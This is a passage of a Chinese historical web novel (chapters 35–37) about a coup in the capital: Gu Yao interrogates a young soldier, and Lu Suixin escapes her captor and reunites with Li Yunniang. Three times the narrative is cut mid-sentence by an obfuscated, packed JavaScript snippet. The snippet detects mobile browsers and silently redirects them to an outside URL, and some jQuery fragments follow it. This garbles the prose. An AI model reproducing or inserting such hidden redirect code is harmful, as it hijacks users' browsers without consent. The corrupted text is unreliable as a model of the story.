莫楚瑛轻叹了一声,一手揽过她肩,背过身去,细声道,“阿瑶,若真是有人要造顾衡之的反,还偏偏选在我们来的时候,这意味着什么你想过吗?” 顾瑶一凛,“意味着,他们已经……” “他们已经不把定国放在眼里了。” “……” “我们很可能自身难保。” “……可难道等在这儿,我们就能安全无虞了吗?” 顾瑶和莫楚瑛都是压着嗓子说话,凤小舞远远地只能看到这对夫妻嘴皮乱翻,你一言我一语地赶着,明显就是吵架,可偏偏俩人握着的手又一直没松开,越看越觉得稀奇,突然想到什么,问旁边的老达,“诶,富水巷是哪儿啊?你知道不?” “挺耳熟,好像就最近在哪儿听过。”老达抓着脑袋想了好一会儿,“怎么就在嘴边,又说不出来呢。” 凤小舞看他憨傻傻的样子,自顾自摇了摇头,眼角扫到藏香阁的牌匾,一时情绪涌上,不知悲喜般说了句,“今日这生意,可算是黄了。” “没事,凤娘,今天全城的生意都黄了。” 凤小舞没好气地对他翻了翻白眼,“你去叫厨房下点面条吧,卤子总还有点吧,也不能把人饿死了。后院的姑娘们要是没醒就先不用替她们准备,省得发现外头变天了炸呼呼地乱叫。” 老达应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975120|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声就去了。 待时间差不多,凤小舞故意磕了磕身旁的木桌子,发出点声音,见二人果然都住了嘴,便笑着走上前去,“二位客人,这也不知要到什么时候,我让厨房随便煮点面,先垫垫。” 顾瑶他们本来就是出来赶中饭的,折腾了半天一滴水都没进,确实也有些饿了,外头局势难料,一时也没有别的对策,便都坐了下来,一人一碗面吃了起来。 凤小舞见顾瑶碗里的面怎么吃都不见下,忍不住问,“夫人,不合您胃口?唉,可真是怠慢了。” 顾瑶又多吃了几口,可心里纷乱,脑袋里无数念头在转啊转,胃口确实好不到哪儿去。 “您二位莫急,我这藏香阁别的不多,房间管够。若今日还出不了门,便在此将就一晚。” “凤娘。”顾瑶忽然把筷子放下,“我有一事相求。” “阿瑶!” 顾瑶听到莫楚瑛唤自己,回过身解释,“夫君,我们不能坐以待毙,至少,要先弄清楚是谁。” 凤小舞一听这话就慌了,“这位夫人,您是要作甚呀?可别冲动啊!您瞧瞧外面那样子,一出门就拿矛给你戳回来了,还是好好歇着,兴许一会儿就没事了。” “凤娘,有些事,不是我们想躲就能躲得过的。” 凤小舞觉得躲得过,待在屋子里等着事情过去不就行了?哪有人闲得去淌这浑水。她不知道眼前的人是什么身份,心里在想什么,但这话她不会说,开门待客,哪有和客人争辩的道理,只好轻柔反问,“夫人,你到底是想要做什么呀?” “这事确实有些为难你,但我向你保证,等一切过去,绝不会影响了藏香阁的生意。” 这话更叫凤小舞心惊肉跳了。 这世道,谁的保证能信?她又不是杨丝丝那种小孩气性的人。给保证,倒不如直接别为难的好。 她把筷子放到一边,怔着脸等候下文。 “我想’请’一个’军爷’进来。” 凤小舞脸垮了下去,结果眼睨到对面的清冷老爷,面色比自己还难看,一时觉得好笑,差点忘了表明自己的左右为难。 “胡闹。” 一听老爷发怒,凤小舞接过话茬,当起了和事老,“夫人,外头这般样子,哪个军爷能有这心思,白天来逛青楼呀。” 顾瑶暂且忽略了莫楚瑛的二字评论,急道,“不用他有这心思,只要能引他进这门来,我就能有办法让他开口。” “使不得!这楼里全是娇滴滴的姑娘,能有几分力道的也就是老达了,怎么能和军爷硬刚啊,你也看到他那矛,又长又尖……” “阿瑶,你为什么就不能听我的?” 顾瑶唰的一下站起身来,人立得分外直,她望着门窗相隔的外面,手紧紧攥了起来。 那样子,很像当年她开口借弓时的气势——无论旁人说了多少诋毁她的话,她却始终是一个公主。 “我们躲在这里看似安全,可现下整个都城的百姓都在惶惶不安,整个王宫也许都危在旦夕,谁也不知道事情会如何发展,外头的这些士兵又会在这里多久,会不会做出别的什么事来。” 凤小舞深觉她有些杞人忧天,拿过一边的团扇摇了起来,不甚在意道,“都是云国的将士,还能把我们饿死不成?” 顾瑶没回答这个问题,而是忽然说起别的来,“当年福圣王在建立云国的时候,还灭过周边的一个小国,浃国。” 凤小舞每年都和大家一样,会给福圣王的祭日守香求他保佑。 没有英明神武的福圣王,就没有云人自己的故土家园。 她没去过书院学堂,除了这些人人口口相传的,其他一概不知,更是不明白这位夫人怎么忽然讲起作古之人的故事来。 “当初为了鼓舞士气,他和副将宗丘尹准许手下可掠城三日。” “啊……”凤小舞是绝不信福圣王会做这样的事的,可她也不能说人家撒谎,只好无力地驳了一句,“我从没听说过这种事。” 顾瑶转头看向沉默了许久的莫楚瑛,“夫君,不趁早筹谋,悔之晚矣。” 莫楚瑛头微微往另一边撇去,微不可闻地吐出一口暗气。 “凤娘,你便帮帮我这个忙吧。” 可是奇了,这话明明细声柔语,凤小舞却愣是听出了一股不容反驳的压迫感,害她一时失语,好一会儿才反手丢出一个难题,“夫人,就算我想帮……可、也没人敢做这事啊。” “我去!” 凤小舞转头,看到不知何时站在几步开外的杨丝丝,嘴角抽了一下。 这死丫头片子! 35. 随心(五) 这回陆随心吃足了教训。 一出庙门她就寻着隐蔽的角落解开了脚腕处捆缚的绳子,再把绳索丢到了岔路的另一个方向,才真正又逃起命来。 可这一路上赤霄带她走的都是远离人迹的荒山小路,她每一天饿得发昏,根本不记得方向,跑出没几里地,就对着一条蜿蜒小道慌了神,该往左还是往右? 戳瞎赤霄眼睛时积聚的勇气和力气迅速溃败。 迟来的疲惫与疼痛几乎立刻就要击垮她。 陆随心拖着沉重的身躯寻到了山壁边的一处凹洞,将身子缩在里头沉沉睡了去,往日种种竟都入了梦。 她又见到了十二年前和李芸娘走的那条道。 那时也是又困又累,全靠李芸娘拖着她步履蹒跚地走,身上还有银子,尚能找家小客栈落脚,就是在那间占着两府通商大道人来人往的店里,她们听闻了火烧永京柳家大宅的消息。 本来她刚拿起店家端上来的饭食,正为这一口久违的香甜喉头发紧涎水四溢,一时都忘了自己背井离乡的事实,就被隔壁桌大哥故作神秘的洪亮声音给扰乱了心神。 “听说没?永京柳家被一把火烧没了。”大哥呼左唤右,一副神秘兮兮说书先生上了身的样子,挤眉弄眼,“那火呀,足足烧了三天三夜,说是啊……里头的人,一个没活,全给烧死了!” “柳家?是哪个啊?没听说过呀。” “诶,就是柳贺的后人嘛,福圣王身边的那个御医头头。”大约是同桌人仍不明就里,大哥有些急了,口气重了三分,“你们这帮没见过世面的!这也不知道?” “火咋烧起来的呀?” “也算是他们家倒霉,说是哪个愚蠢的下人忘记灭灯了,风一吹,灯摔了下去,把房里全给点着了。” 那时候陆随心还不是陆随心,她是柳盼儿。 旁桌的话一字不落进了她耳,足以叫她崩溃。 忘记灭灯,是谣言,可烧没了,却是真的。 那些人杀了她家人不够,还…… 她一低头,见自己碗里好几粒糙米被洇湿成了深褐色。 一只手伸过来,在她脸上胡乱地抹了一把,李芸娘的脑袋挡住了她,“哎呀,我的小祖宗诶,快把眼泪收回去,收回去!你是还嫌我们命太长吗?” “可……”她当时觉得怕,虽说逃出来的时候就知道回不去了,毕竟人都死了,但如今连宅子也全被这么烧光了,心中的念想被彻底打碎。 十岁的她和一个刚认识几天的人坐在这辈子都没来过的地方,惶惑不安、惊惧难抑。 她好恨,若没有把三钱留在木铭轩,她至少还有个弟弟陪在身边,心里就不至于那么空那么空。 如今就算三钱跑回家,也没办法找到她了。 “乖,快把饭吃了,吃完去房里歇一晚,明天我们还得接着赶路。” 她抹了抹泪,“芸娘,我们要去哪儿?” 李芸娘叹了口气,小声回她,“往边境走,离得越远越好,到人少的地方去。” “你……肚子里的娃,没事吗?” 李芸娘把手贴在腹部,笑了笑,“放心,他命大得很。” 她们的命也大得很。 陆随心记得那晚自己是与李芸娘并排而卧,可她总觉着身边空落落的,就往身边人那儿挤过去,霎时暖了起来,朦胧间看到月色下的一抹黑影,闭眼前迷迷糊糊地想着,窗是关的,何来月色啊…… 那抹黑影是什么?! 脑袋里猛地一抽,陆随心惊醒着直接从床上翻坐起半个身子,闹醒了身边的李芸娘。 抬眼看去,窗户大开,包袱被丢在桌上,翻了个底朝天。 李芸娘过去一看,值钱的东西一样没给她们留下。 除了命。 陆随心在床边整个人萎靡了下去,那点一直在深处盘旋的念头涌了上来,脱口而出,“芸娘,我们回去吧,回永京。不走了。” “回去干嘛?啊?你不要命了啊?” “柳宅都烧了,他们想必……以为我也死了吧。” “那儿那么多人见过你,你去哪儿能瞒住?消息一捅出去,你这命就没了呀。” “……我们可以去你那小屋,你不是说爹给你置办了个小屋吗?” “小祖宗,那也在永京啊,这被谁看见了,传出去说柳家小姐没死,那些心狠手辣的人能放过你吗?你都不知道他们是谁!” “可……” 那时候她们能一路撑下来全靠李芸娘,许是因为也看到了柳家那满地的鲜血,李芸娘就从没犹豫过要跑这件事。 “不能回去!我们一路往北走!那儿和定国接壤,人少,到那儿才能把命保住。你看见没,就是那个方向。”李芸娘牵起她的手,指向那颗最亮的星,“就是那个方向,一直往那儿走,我们就能活下去。” 当时陆随心盯着被点点亮光戳成了筛子的夜空,“哇”一声哭了出来,“可三钱呢?他要是回来,就找不到我了啊。” 窒闷的哭声从胸膛里破了出去,陆随心抖着身子,才发现一点音都没听见,她茫然四顾,一片昏暗暗里,头顶的小碎石也一同被惊醒散落到了她身上,这时终于知道,是做梦了,三钱早找不到了。 一梦醒来,外头的天也暗了,天一暗,星星也就出来了。 陆随心从凹洞里悄悄摸摸地探出身子,寻找着那颗最亮的星,摸索着能找回民安村的方向。 身无分文地赶路是一件难事,幸而她有些经验。 晨露水是最解渴的,地上的果子比树上的甜,但也有可能是烂的。 人每天只要能吃点喝点,就没那么轻易会死。 只不过,被掀开了指甲的地方,却真的会疼很久,就像揭开了疤的旧伤口。 她每走一步,就想着那个小小矮矮的身影,一转眼又变成阿柒的样子,两个人渐渐重叠在一起。 三钱长到现在,差不多就是他这岁数。 可想起他小时候的样子,陆随心却不曾料想三钱能变成这样好看的大高个。 也喜也忧。 喜的是三钱还活着,忧的……是阿柒变成了弟弟,让她有些错乱。 陆随心就这么深一脚浅一脚,胡思乱想,跟着璀璨的光,和赤霄一样日夜颠倒,不知尽头在何处地一路往北。 那个简陋的瓦顶在远方若隐若现的时候,她一时以为自己花了眼,揉了好几下才确信是真的。 有人!前面是有人住的地方! 往前奔了几步,看到屋檐下垂着的一条条鱼干,双腿霎时又酸又软,颤颤巍巍,全身力气抽光了似的进了村,寻了最近的一户人家,手刚举起来,脑袋便咚一下撞了过去,磕响了整个村的长夜。 再一睁眼,月色混着灯火,影影绰绰间看到一个又一个竖立着的人形,左右飘忽,以为自己到了阴曹地府。 直到旁边一个大婶兴冲冲地喊着,“诶!醒了!醒了!”她才清醒过来,见是两个陌生人围着自己,像是看到了什么稀奇货。 大婶旁边的大叔手里挥着一张纸,一边看她一边看纸,“像极了!就是她!” 陆随心手脚发凉,生怕那是通缉画像,转过眼去看,却真的在上面瞧见了一张女子面孔,画得很是栩栩如生——嘴如弯月目如秋水,可左边眉毛上她那小指甲盖大似的红斑却没有! 陆随心刚从一个坑出来,可不想这么快又跳进另一个,忙歪着唇挤着眼,“各位怕是认错了……” “不会认错,看着五官多像啊,就是你!” “看看这纸上咋写的?找到给多少银子啊?” “纸上啥也没写,来发画像的人不是说了吗,找到就去领赏,儿子已经去了!等他回来就知道了。” “不……不给人带过去啊?” “你傻啊!钱都没见着呢就把人送过去,万一是骗子咋办?” 这是要把她卖了! 谁要花钱“买”她? 心霎时提到了嗓子眼。 她不曾料想自己成了这般“香饽饽”,刚躲了赤霄又上了通缉令,心烦意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983097|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱,生怕又落了圈套,勉力绷住身子,站起来理直气壮地唬人,“你们可看清楚我是谁!我父亲是大北县的员外,岂可容许你们这般待我?!” “员外女儿”的名头一时震惊了眼前人,夫妻俩看着画像面面相觑,一时有些不知所措,还是那位大婶率先一拍大腿,“这不就对了嘛!我想起来了,就是让去员外府领赏!对上了!全对上了!这肯定是员外女儿离家出走了嘛!” “那看来是真的!是真的有赏金,有赏金……”大叔扼住了自己过于得意的笑脸,板着面孔指了指衣衫褴褛的她,语重心长地摆摆手,“小姐,你看看你跑外面来,弄成这样,该叫员外大人多担心啊。” 堵在陆随心嗓子眼的重物却忽然坠了下去,拉着她身上所有的气力一道往下倾泻,她噗通一声跌坐在地,劫后余生的切实感涌上,再起不来了——太好了,是李芸娘!是李芸娘在找她! 像是回应一般,身后忽传来声嘶力竭的喊,“随心!陆随心!” 陆随心定在原地,愣愣听了一会儿,发觉这声音很是耳熟。 是她听了十二年有余的声音。 思绪回转,一下子阴翳全散,只觉得胸前豁然,也根本想不起那一日吵得多天崩地裂,猛一下转过身,再忍不住想哭的冲动,“李芸娘!” 颠沛流离死里逃生,总算成就了一场大团圆。 李芸娘急匆匆跑来,蹲下身抓住陆随心的手腕,看她满面尘土伤口,不禁也是泪眼婆娑,“怎么瘦了这么多……” “说来话长。那画像……是你们弄的?” 没被阿姊理会的陆少疾也从俩人手腕底下钻了进来,仰着头,“是娘找员外帮的忙,画了好几百张呢,散去了好多地方。” 陆随心却仿若未闻,皱着眉,若有所思。 “好夫人,人你也验过了,也该给赏钱了。” 李芸娘被那一家子围着要钱,便从兜里拿出准备好的银子给了出去,让他们欢天喜地地回家了,这会儿回过头看到陆随心的愁容,以为她在担忧当年柳家的事情,赶忙解释道,“实在也是想不出其他办法,病急乱投医了,不过我还是留了个心眼,没让画你眉毛处的红斑,也没写其他东西,就怕有个万一……想救你,连你在哪儿被谁抓走也不知道……” 陆随心根本没在担心画像的事,毕竟她早就暴露了,她也无心讲自己的逃亡故事,而是紧紧盯着陆少疾胸膛挂着的事物,要把那里烧出一把火来似的,“陆少疾,这东西你哪来的!” “你凶他作甚啊?你不知道你不见了后,少疾他天天坐在你被抓走的地方哭……” “娘!”陆少疾红着脸呵断了李芸娘的话,他低下头,把那木头玩意举了起来,“阿姊,你说这八卦锁?是……一个大哥哥给我的。” “大哥哥?是不是一个穿了一身黑,长得很俊俏的人?”陆随心摁住弟弟的肩膀狠狠晃了下,恨不得立刻钻进他的脑袋找到自己要的答案。 “是一身黑,俊不俊俏我倒是没注意,但脸煞白煞白。”陆少疾盘着手里的八卦锁回忆了起来,“那天我正好在门口坐着,只是坐着,我可没哭,他突然出现在面前,把我吓了一跳,站起来就想和他斗上一斗……” 陆随心忍不住打了他后背一下,“少吹牛!说事儿!” “哦。他为了讨好我,就送了这东西给我,还问我阿姊你在哪儿,我说你被坏人抓走了,他就问我坏人长啥样,我说和他长差不多……” “差远了!”陆随心又没忍住,狠驳了他一句,“算了,你先说,然后呢?” 陆少疾委屈地看了眼自己亲娘,见亲娘这次没什么表示,倒是以一种奇怪的眼神盯着阿姊,只好接着道,“然后他问我抓你的人往哪个方向走了,我就给他一指,再后来……再后来他就走了。” “这是哪一天的事?” “就……前天。哦,我想起来了,他背过去的时候,衣服湿漉漉的,地上还有几滴血。” 是他,就是他。 是阿柒。 陆随心想。 36. 顾瑶(四) 顾瑶的方法简单直接。 由她扶着“孱弱腹痛”的杨丝丝出门,向“军爷”请求去一趟医馆,必然会拒绝,像之前一样推她们回来,她们便软磨硬泡、动之以情晓之以理,只要“军爷”有片刻卸下防备,待他双脚跨进藏香阁的门槛,顾瑶就能让对方再出不去,等人落入她手,一切好说。 可除了杨丝丝,谁也不喜欢这招“引狼入室”。 凤小舞不愿藏香阁卷进这般危险又毫无回报的事,她更不明白杨丝丝这死丫头为何吃了一堑还敢这般勇猛,真是叫那点对金郎的痴迷冲昏了头脑? 莫楚瑛则是不愿顾瑶去直面那根长矛。 但铁了心的人往往有一个特点,那就是谁也拦不住,不仅拦不住,还往往能把想拦的人也给绕进去。 待顾瑶搀着杨丝丝跨出门槛时,凤小舞不情不愿地翻出了两捆绳索,忐忑地望着外头,莫楚瑛悄悄移步站到了门边的阴影里,耳朵竖到了额边,老达手里更是抓起了一个大麻袋,蓄势待发。 “站住!回屋里去!现在不准上街!”外头阻拦二人的声音传进藏香阁,里头的三个人都身躯一紧。 这声音听起来比之前那兵卒柔一些,明显不是同一人。 虽说都是盔甲着身遮得严实,可这一位年岁更轻,满脸稚嫩。 “这位小哥,我家妹妹腹痛难耐,还请行个方便,让我带她去医馆看看吧。”顾瑶一边将早便准备好的话语说出,一边往对方身后的街上悄悄打量起来。 杨丝丝委着身子把自己缩得紧紧的,也不知是这全城肃然的气氛所迫,还是过于紧张,额上真的沁出虚汗数颗,嘴唇双颊都煞白如雪,不明就里的人一看,怕是要以为她马上就该过去了。 “……是真的很痛吗?” 顾瑶正四处张望,试图寻到能证明军队身份的旗帜等物,听到这问一时没反应过来,幸好挂在她怀里的杨丝丝反应极快,轻轻掐了她一下,提醒她回神。 顾瑶低头,忙道,“是,你看她都这样了,若不赶紧叫大夫看看,迟了,怕来不及了。” 话一出口顾瑶便觉着说得有些过了,可不想对面的年轻小哥一听,面色凝重,迟疑稍许,“你们先待在这里不要动。”说罢就转身往远处一个将领模样的人走去,与对方耳语了几句后又折回来,“走吧!我与你们同去。” 人与人之间是不同的,“军爷”与“军爷”之间也是不同的。 顾瑶看了一眼震惊的杨丝丝,立马出言盖住她的表情,对眼前的年轻人福了福身,“太好了,那就有劳了。” “我与此地不熟,你们前方带路吧。” 这下倒好,没把人诱进藏香阁,倒是她们莫名其妙,晃悠到了外头。 可要命的是,她们俩谁也不知道医馆在哪个方向。 顾瑶不愿错过良机,便捡了条目之所及之处最偏僻最狭窄的路口,搀住身边人,不容置疑道,“妹妹,那我们就赶紧走吧。” 杨丝丝眨了眨眼,“……是,夫……姊姊。” 三人就这么两前一后相继进了巷子里。 整个街道静得骇人,家家户户门窗紧闭,仿若空城,虽不至于针落有声,但只要动静大点就能引来追兵,顾瑶便认认真真地扶着杨丝丝,等待着远离众兵把守的主道。 巷子越走越挤,越走越脏,身后的小军爷疑惑道,“都城的医馆竟开在这种地方?可真是稀奇。” “不是什么大医馆,好就好在离得近,不知小哥是哪里人?”顾瑶装作闲聊的语气随口问着,警戒的目光却未从前方的道路挪开过半点。 “我是沂山的。” 顾瑶拖了半步,才又走起来。 沂山人,沂山军……那不就是宗家的地盘吗? “沂山离这儿可不近。” 这话显然是在试探,杨丝丝一听,背瞬时直了起来,手上也握了劲——她冒着生命危险走这遭不就为了能打听点消息,好知道金郎在宫里是否安好么? “是不近。”这位小军爷却并不上钩,只简单附和了一声,便不说话了。 顾瑶不愿操之过急弄巧成拙,收回了神,转头却看到身旁的杨丝丝有些耐不住,嘴一张就要说话,怕她失言,立刻制止,“妹妹再撑一下,马上就到了。” 眼前的路铺到尽头被一面墙堵住,东西两边各开了一道口子,灰幽幽的什么也看不清,顾瑶只能赌,赌她选的方向能通向远离军队封锁的角落。 而顾瑶的运气一向算不上好。 能认清这一点其实全靠陆随心,她在王府的那段日子,除了心血来潮地习了几天武,空闲时偶尔会抓着桑凌玩骰子,顾瑶有一次路过也参与了,战绩为十局九输,唯一胜的那局是桑凌看不下去放了水,此事创下她人生的最大败笔。 所以转身往西边走的时候,顾瑶也曾犹豫过,但犹豫便显得可疑,她只好使唤自己的双腿,一往无前。 逢赌必输大约是顾瑶的命。 也就十步路的样子,眼前豁然开朗,现出一条宽阔大街,更为奇妙对仗的是前方也有一个和他们相似的三人小组。 一个有些畏手畏脚的男子在中间,两个兵卒一人引路一人押后,正敲开街边的一家饭馆往里头闯。 “我似乎是记岔了,方才那儿该左转才对。”也不等身边两人有所反应,便转回身往里疾走。 半拉半扯带着杨丝丝走到岔口,一直跟着她们的小军爷却忽然唤了一声,“站住!” 杨丝丝一听那声音变得严肃且带着质疑,额头的汗又前仆后继地沁出。 “你们……真是出来看病的?” “小哥说笑了,这还能有假。”顾瑶停了脚步,却一直不曾回头。手上搀扶的重量好像莫名重了一些,她一看,杨丝丝整个人冻了起来,又虚又弱。 “可你们看起来,倒像是在躲着什么啊。”小军爷踱着步子走到她们面前,细细审视了起来。 顾瑶一时编不出借口,又觉得只说一句“不是”太过乏力,便打起强攻的主意。可在这里制服对方而不引起外面那些人的注意,胜算能有几分? “啊。”杨丝丝一声痛苦的轻叫打破了沉默的僵局,她捂住腹部跪到了地上,面部狰狞,差点打起滚,吐出的字也不甚清晰,“我,我疼。” 小军爷愣在原地。 连顾瑶也有些分不清真假。 “你……是真是假啊?” 顾瑶见杨丝丝没有回人家的话,暗道不好,也顾不得其他了,将她扶到自己背上,可她身子软得很,怎么都撑不起来,抬眼看那小哥一脸茫然,怒斥,“还不快帮忙!” “啊……哦,好。”小军爷手抓着长矛,左右为难,好一会儿才想起来要把武器先放下,帮着把杨丝丝在顾瑶背上扶正了,仍旧手足无措,好像这病痛是他激起的,在她二人身边晃了半圈,“要不还是我来背?” “不必。”顾瑶不再理会他,背着病人就往巷子深处疾走,刚准备露馅也无妨,随便敲开户人家的门找间医馆,耳边突然传来一句几乎轻不可闻的“怎么样,夫人,我演得像吧?” 拖着她整个身子的顾瑶顿时心里一松,怕回话又惹那小哥怀疑,便点了点头,也计上心头。 果然东边是条逼仄的小路,每户人家的院墙都挤在这条街上,屋檐飞出来把整个上空遮得严严实实,若天色暗点,确是杀人越货的好地方。 “前边就是医馆了,烦请小哥帮我一把,扶我妹妹下来,我先去找大夫通报一声。” 许是杨丝丝方才的“发作”真的吓到了这位小军爷,让他差点以为要为一条人命背上债,以至于此刻明明周遭十步内看不见一扇门,他都未提出质疑,而是熟能生巧般把长矛放到一边,就要去接应。 顾瑶等的就是这一刻。 小军爷弯腰把长矛放下的时候,顾瑶也正把杨丝丝放下。 小军爷放下长矛再要伸直腰的时候,顾瑶已经站到了他的身前。 矛不会自己找合适的地方摆正,可杨丝丝会,一旦背上的人跳离了身,顾瑶便掌握了先出击的机会。 竖掌劈向对方的肩窝,趁他意识不清,将他过肩摔到地上,打断他的所有反击。 当小军爷瘫坐在地反过来被顾瑶用长矛指着鼻子的时候,他还没有从不可置信中清醒过来,眼神茫然地往她身后看去,张了张嘴,半天终于憋出一句,“你是假病啊……” 这话并没有被欺骗的震惊,也没有被戏耍的愤怒,而是话音上挑,有些庆幸和释然。 此刻已站直了身子翩然立在那处的杨丝丝竟被他这句话打弯了身子,她不知怎么举起双手,原地转了两个圈,身姿灵活精神抖擞,好像要向对方证明自己一切安好无须担心,“是,你且放心,没病的。” 小军爷似是偷偷舒了口气,这才看向顾瑶,“那你们到底想干嘛?”他双眼隐隐扑闪,若认真揣摩,倒是有点仰慕的样子在里头。 “有几个问题想问你,一旦我得了答案,便绝不会为难你。” 小军爷捂着脸,戚戚道,“唉,我就知道不能这么简单,怪不得我娘说漂亮女人的话不能信。” 他卸下了武器,倒像是变回了孩子。 不等顾瑶说什么,杨丝丝就先挪了过去,柔声解释道,“军爷,我们兴许是撒了那么一个谎,但我们可绝不是什么坏人,这城里突然变了天,我的郎君生死未卜,我们只是想知道到底怎么了……” “我也刚入军队不久,你们就算想问,我也答不出。” 顾瑶将长矛竖了起来,“我只问你,你们这次出兵来都城,是受何人调遣?又为了什么?” “这……”小军爷脑袋一歪,明明利器远离了自己,可眼前人的压迫感倒愈发强烈,想想也不是干的什么坏事,他便说了,“自是奉宗首领之命,来都城忠君护主的。” “忠君护主?何来此说?” “近来多少大臣被抄家问斩,大王受佞臣挑拨,残害忠良……” 小军爷还在那头头是道、满脸自豪地陈述着他从沂山跋山涉水来此的目的,顾瑶却没再听他言语,望着脚下戒严的都城,脑袋里只有一个念头——好一个“清君侧”! 果真是变天了! 宗同伦反了! 林志崔一死,顾衡之这般大举追缴他的同党,用“赶尽杀绝”四字形容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986853|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不为过,这必然已惹得那些旧臣心怀不满,可怎么就偏偏在这时候……此刻的王宫想必已被宗家控制,长庆王远在百里之外的事情只几人知晓,如今全城封锁,消息传不出去,救援便不可能到,难道这云国的姓真要就此改了吗? 杨丝丝抓着顾瑶的手臂,“夫人,这是什么意思?宫里真的出事了?那金郎……金郎会被杀吗?” 顾瑶拍了拍她叫她冷静,又转回去问,“你们来了多少人?” “这我一个小兵,无从知晓。不过……应该是整个沂山军都出动了,而且让我们化整为零,走的都是隐蔽小路。” 倾巢而出?整个沂山军? 那可是上万人马,看来宗同伦是抱着不成功便成鬼的想法来的。 方才街上那三人的画面猛地跳了出来,顾瑶的心霎时凉了半截,“丝丝,我们得赶紧回去!” “回……回去?回藏香阁吗?”杨丝丝一颤。 “你们不必太过担心,既是来忠君护主的,一旦奸臣除尽,自然一切就会恢复如常。”那位小军爷一听,忍不住咧开了嘴,手脚并用利索地从地上爬了起来,身子一动,肩上的疼便隐隐发作,“这位姊姊,你这力道着实不小。” 不是埋怨,倒像是夸赞。 顾瑶早便无心其他,将长矛递了过去,“这回,烦请小哥走前面了。” 毕竟人也打了,话也问了,即使对方一副傻呵呵不甚在意的样子,顾瑶还是不敢大剌剌地把后背送出去。 “不打不相识,两位可叫我一声阿良。”说罢竟拿着长矛拱了拱手。 可惜此时此刻此地,除了阿良,谁也没心思玩交朋友的把戏。 阿良转过身在前头引路,时不时回过头确认俩人的位置。 顾瑶步子极快,没一会儿杨丝丝就被落在了后头,拉开了一段距离后,杨丝丝更加不急了,一步拖着一步,恨不得干脆停下来的样子。 “诶,这位姑娘……难道又病了?”阿良转过身来,皱着眉问顾瑶。 顾瑶一回头,杨丝丝忽而定住的目光便落入了她眼中,总是抓她肩膀哭哭啼啼飘飘摇摇的女子忽而生出了根一般,岿然地立在那儿。 顾瑶猜出了她的心思,“丝丝……” “夫人,我……我不想回去了。” “什……什么意思?”阿良在两人脸上来来回回地看,“不回去?” “我出来后这一路上就一直在想,刚刚总算是想清楚了,凤娘不肯让我赎身,可我也不愿没了这孩子,金郎又不知着落,我……我不能再回藏香阁了。” 阿良不知她的来龙去脉,也从这三言两语里听出了一些门道,赎身、孩子、金郎,还能是什么事,这一点上,都城和沂山也差不多,没甚稀奇,出言劝她,“可现下你哪儿也去不了啊,每条道都有人守着。” “不。”杨丝丝摇了摇头,头一回那么清楚自己在说什么,“不,是等这事过去,我才真的哪儿也去不了。” 困在藏香阁,盼着金郎来,若不来,便是接着承欢那些恩客,运气好,年老色衰了从凤娘那儿得些钱去乡下安置一间屋子,了此余生,运气不好,喝药的时候就直接没了命,至死跨不出那二层小楼一步,若真是那般,阁里的姐姐们说了,魂也会困在原处,那就是死了都离不开。 多可怕,多可怕啊。 就因为她生在吃不起饭的穷人家,就要这么过一生吗? 她不想啊。 “还请夫人和这位军爷开恩,成全丝丝吧。”杨丝丝噙着泪,双膝扑地,手掌相叠,人也整个伏了下去,“丝丝会找一个地方躲起来,待事情过去再寻生路,若……不小心被其他军爷看见,丝丝也绝不会说出其他,让此事牵连到你们身上。” “使不得!”阿良走过去,手伸出去又缩了回来,“这事,着实不行!” 顾瑶也觉着杨丝丝此举并非良策,可天底下又哪来那么多良策?哪来那么多圆满?她将杨丝丝肩头扶起,望着那盈盈双眼,认真地问,“你……可想清楚了?在外头,你一个人,遇上什么都说不定。” 一丝恐惧从她脸上划过,她咬着唇,正正经经地点了头,“夫人,丝丝想清楚了,哪怕千难万难,也一定要试试,不走这条路,丝丝才真的要后悔一辈子。” 顾瑶见她目光灼灼,莫名想起那日在林子里的陆随心,眼神柔了几分,万千劝告都没了影,只化作一句,“保重。” 又回身招呼阿良,“阿良小哥,我们走吧。丝丝病重,需留在医馆休养。” 阿良看着泪盈盈跪坐在地的杨丝丝,又去看已然背身而去的顾瑶,一咬牙,叮嘱道,“千万躲好!别叫其他人看见了!” 说罢抬腿就追了过去,“夫人,你且行慢些。” 慢不得。 顾瑶真想如鸟一般,能飞到天空,越过这窄道崎岖的小巷,回到藏香阁。 她必须赶在那几人前回去。 方才见到的三个人,虽然只有一眼,她却清楚看见了他们的脸。 中间穿褐色衣衫,脸圆如盘的人,正是富林。 富林被宗同伦的人押着在街上乱走,还能是为了什么? 37. 随心(六) 见到李芸娘和陆少疾不过一炷香的时间,陆随心就火急火燎地要走。 